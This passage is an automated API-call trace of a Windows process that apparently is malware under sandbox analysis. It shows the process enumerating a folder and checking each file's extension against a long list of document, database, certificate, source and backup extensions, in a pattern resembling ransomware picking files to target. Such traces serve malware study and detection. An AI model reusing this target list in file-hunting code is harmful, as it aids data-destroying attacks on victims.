lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.878] lstrlenW (lpString=".jpe") returned 4 [0084.878] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.878] lstrlenW (lpString=".jpeg") returned 5 [0084.879] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.879] lstrlenW (lpString=".jpf") returned 4 [0084.879] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.879] lstrlenW (lpString=".jpg") returned 4 [0084.879] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.879] lstrlenW (lpString=".jpx") returned 4 [0084.879] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.879] lstrlenW (lpString=".js") returned 3 [0084.879] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.879] lstrlenW (lpString=".jsf") returned 4 [0084.879] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.879] lstrlenW (lpString=".json") returned 5 [0084.879] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.879] lstrlenW (lpString=".jsp") returned 4 [0084.879] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.879] lstrlenW (lpString=".kdc") returned 4 [0084.879] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".kmz") returned 4 [0084.880] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".kwm") returned 4 [0084.880] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".lasso") returned 6 [0084.880] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.880] lstrlenW (lpString=".lbi") returned 4 [0084.880] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".lgf") returned 4 [0084.880] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".lgp") returned 4 [0084.880] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".log") returned 4 [0084.880] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".m1v") returned 4 [0084.880] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".m4a") returned 4 [0084.880] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".m4v") returned 4 [0084.880] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".max") returned 4 [0084.880] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".md") returned 3 [0084.880] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.880] lstrlenW (lpString=".mda") returned 4 [0084.880] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".mdb") returned 4 [0084.880] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".mde") returned 4 [0084.880] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.880] lstrlenW (lpString=".mdf") returned 4 [0084.880] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mdw") returned 4 [0084.881] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mef") returned 4 [0084.881] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mft") returned 4 [0084.881] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mfw") returned 4 [0084.881] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mht") returned 4 [0084.881] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mhtml") returned 6 [0084.881] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.881] lstrlenW (lpString=".mka") returned 4 [0084.881] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mkidx") returned 6 [0084.881] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.881] lstrlenW (lpString=".mkv") returned 4 [0084.881] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mos") returned 4 [0084.881] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mov") returned 4 [0084.881] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mp3") returned 4 [0084.881] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mp4") returned 4 [0084.881] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mpeg") returned 5 [0084.881] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.881] lstrlenW (lpString=".mpg") returned 4 [0084.881] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.881] lstrlenW (lpString=".mpv") returned 4 [0084.881] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".mrw") returned 4 [0084.882] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".msg") returned 4 [0084.882] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".mxl") returned 4 [0084.882] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".myd") returned 4 [0084.882] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".myi") returned 4 [0084.882] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".nef") returned 4 [0084.882] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".nrw") returned 4 [0084.882] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".obj") returned 4 [0084.882] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".odb") returned 4 [0084.882] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".odc") returned 4 [0084.882] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".odm") returned 4 [0084.882] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".odp") returned 4 [0084.882] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".ods") returned 4 [0084.882] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".oft") returned 4 [0084.882] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".one") returned 4 [0084.882] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0084.882] lstrlenW (lpString=".onepkg") returned 7 [0084.882] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.883] lstrlenW (lpString=".onetoc2") returned 8 [0084.883] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.883] lstrlenW (lpString=".opt") returned 4 [0084.883] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".oqy") returned 4 [0084.883] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".orf") returned 4 [0084.883] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".p12") returned 4 [0084.883] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".p7b") returned 4 [0084.883] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".p7c") returned 4 [0084.883] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pam") returned 4 [0084.883] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pbm") returned 4 [0084.883] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pct") returned 4 [0084.883] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pcx") returned 4 [0084.883] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pdd") returned 4 [0084.883] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pdf") returned 4 [0084.883] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pdp") returned 4 [0084.883] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pef") returned 4 [0084.883] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.883] lstrlenW (lpString=".pem") returned 4 [0084.883] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pff") returned 4 [0084.884] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pfm") returned 4 [0084.884] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pfx") returned 4 [0084.884] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pgm") returned 4 [0084.884] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".php") returned 4 [0084.884] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".php3") returned 5 [0084.884] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.884] lstrlenW (lpString=".php4") returned 5 [0084.884] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.884] lstrlenW (lpString=".php5") returned 5 [0084.884] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.884] lstrlenW (lpString=".phtml") returned 6 [0084.884] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.884] lstrlenW (lpString=".pict") returned 5 [0084.884] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.884] lstrlenW (lpString=".pl") returned 3 [0084.884] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.884] lstrlenW (lpString=".pls") returned 4 [0084.884] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pm") returned 3 [0084.884] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.884] lstrlenW (lpString=".png") returned 4 [0084.884] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pnm") returned 4 [0084.884] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.884] lstrlenW (lpString=".pot") returned 4 [0084.884] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".potm") returned 5 [0084.885] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.885] lstrlenW (lpString=".potx") returned 5 [0084.885] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.885] lstrlenW (lpString=".ppa") returned 4 [0084.885] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".ppam") returned 5 [0084.885] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.885] lstrlenW (lpString=".ppm") returned 4 [0084.885] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".pps") returned 4 [0084.885] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".ppsm") returned 5 [0084.885] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.885] lstrlenW (lpString=".ppt") returned 4 [0084.885] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".pptm") returned 5 [0084.885] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.885] lstrlenW (lpString=".pptx") returned 5 [0084.885] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.885] lstrlenW (lpString=".prn") returned 4 [0084.885] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".ps") returned 3 [0084.885] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.885] lstrlenW (lpString=".psb") returned 4 [0084.885] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".psd") returned 4 [0084.885] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".pst") returned 4 [0084.885] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".ptx") returned 4 [0084.885] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.885] lstrlenW (lpString=".pub") returned 4 [0084.886] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.886] lstrlenW (lpString=".pwm") returned 4 [0084.886] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.886] lstrlenW (lpString=".pxr") returned 4 [0084.886] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.886] lstrlenW (lpString=".py") returned 3 [0084.886] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.886] lstrlenW (lpString=".qt") returned 3 [0084.886] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.886] lstrlenW (lpString=".r3d") returned 4 [0084.886] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0084.886] lstrlenW (lpString=".raf") returned 4 [0084.886] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.886] lstrlenW (lpString=".rar") returned 4 [0084.886] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.886] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.886] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.887] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.887] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0084.887] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.887] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0084.887] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26 [0084.887] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0084.888] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.888] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.888] lstrlenW (lpString="eula.rtf") returned 8 [0084.888] lstrlenW (lpString=".1cd") returned 4 [0084.888] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.888] lstrlenW (lpString=".3ds") returned 4 [0084.888] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0084.888] lstrlenW (lpString=".3fr") returned 4 [0084.888] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0084.888] lstrlenW (lpString=".3g2") returned 4 [0084.888] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0084.888] lstrlenW (lpString=".3gp") returned 4 [0084.888] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0084.888] lstrlenW (lpString=".7z") returned 3 [0084.889] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.889] lstrlenW (lpString=".accda") returned 6 [0084.889] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0084.889] lstrlenW (lpString=".accdb") returned 6 [0084.889] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0084.889] lstrlenW (lpString=".accdc") returned 6 [0084.889] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0084.889] lstrlenW (lpString=".accde") returned 6 [0084.889] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.889] lstrlenW (lpString=".accdt") returned 6 [0084.889] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.889] lstrlenW (lpString=".accdw") returned 6 [0084.889] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.889] lstrlenW (lpString=".adb") returned 4 [0084.889] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".adp") returned 4 [0084.889] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".ai") returned 3 [0084.889] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.889] lstrlenW (lpString=".ai3") returned 4 [0084.889] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".ai4") returned 4 [0084.889] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".ai5") returned 4 [0084.889] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".ai6") returned 4 [0084.889] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".ai7") returned 4 [0084.889] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".ai8") returned 4 [0084.889] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.889] lstrlenW (lpString=".anim") returned 5 [0084.889] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.890] lstrlenW (lpString=".arw") returned 4 [0084.890] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".as") returned 3 [0084.890] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.890] lstrlenW (lpString=".asa") returned 4 [0084.890] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".asc") returned 4 [0084.890] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".ascx") returned 5 [0084.890] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.890] lstrlenW (lpString=".asm") returned 4 [0084.890] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".asmx") returned 5 [0084.890] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.890] lstrlenW (lpString=".asp") returned 4 [0084.890] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".aspx") returned 5 [0084.890] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.890] lstrlenW (lpString=".asr") returned 4 [0084.890] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".asx") returned 4 [0084.890] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".avi") returned 4 [0084.890] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".avs") returned 4 [0084.890] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".backup") returned 7 [0084.890] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.890] lstrlenW (lpString=".bak") returned 4 [0084.890] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".bay") returned 4 [0084.890] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.890] lstrlenW (lpString=".bd") returned 3 [0084.891] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.891] lstrlenW (lpString=".bin") returned 4 [0084.891] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".bmp") returned 4 [0084.891] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".bz2") returned 4 [0084.891] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".c") returned 2 [0084.891] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.891] lstrlenW (lpString=".cdr") returned 4 [0084.891] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".cer") returned 4 [0084.891] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".cf") returned 3 [0084.891] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.891] lstrlenW (lpString=".cfc") returned 4 [0084.891] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".cfm") returned 4 [0084.891] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".cfml") returned 5 [0084.891] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.891] lstrlenW (lpString=".cfu") returned 4 [0084.891] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".chm") returned 4 [0084.891] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".cin") returned 4 [0084.891] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".class") returned 6 [0084.891] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.891] lstrlenW (lpString=".clx") returned 4 [0084.891] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.891] lstrlenW (lpString=".config") returned 7 [0084.891] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.892] lstrlenW (lpString=".cpp") returned 4 [0084.892] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".cr2") returned 4 [0084.892] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".crt") returned 4 [0084.892] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".crw") returned 4 [0084.892] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".cs") returned 3 [0084.892] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.892] lstrlenW (lpString=".css") returned 4 [0084.892] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".csv") returned 4 [0084.892] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".cub") returned 4 [0084.892] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".dae") returned 4 [0084.892] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".dat") returned 4 [0084.892] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".db") returned 3 [0084.892] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.892] lstrlenW (lpString=".dbf") returned 4 [0084.892] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".dbx") returned 4 [0084.892] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".dc3") returned 4 [0084.892] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".dcm") returned 4 [0084.892] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".dcr") returned 4 [0084.892] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.892] lstrlenW (lpString=".der") returned 4 [0084.892] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dib") returned 4 [0084.893] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dic") returned 4 [0084.893] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dif") returned 4 [0084.893] lstrcmpiW (lpString1=".dif", lpString2=".rtf") 